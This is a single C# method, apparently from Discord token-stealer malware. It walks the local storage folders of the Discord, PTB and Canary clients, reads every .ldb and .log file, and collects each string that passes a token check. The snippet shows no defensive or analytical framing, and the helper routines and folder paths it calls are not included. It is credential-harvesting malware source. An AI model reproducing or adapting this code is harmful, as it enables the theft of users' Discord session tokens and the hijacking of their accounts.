public static List <string> RetrieveDiscordTokens() { List <string> list = new List <string>(); List <string> list2 = new List <string>(new string[] { TokenRetriever.discordTokenDirectory, TokenRetriever.ptbTokenDirectory, TokenRetriever.canaryTokenDirectory }); List <string> list3 = new List <string>(); foreach (string path in list2) { if (Directory.Exists(path)) { IEnumerable <string> collection = from specifiedFile in Directory.EnumerateFiles(path) where specifiedFile.EndsWith(".ldb") || specifiedFile.EndsWith(".log") select specifiedFile; list3.AddRange(collection); } } foreach (string file in list3) { foreach (string line in TokenRetriever.ReadAllLines(file)) { if (!(TokenRetriever.PerformTokenCheck(line) == "")) { list.Add(TokenRetriever.PerformTokenCheck(line)); } } } return(list); }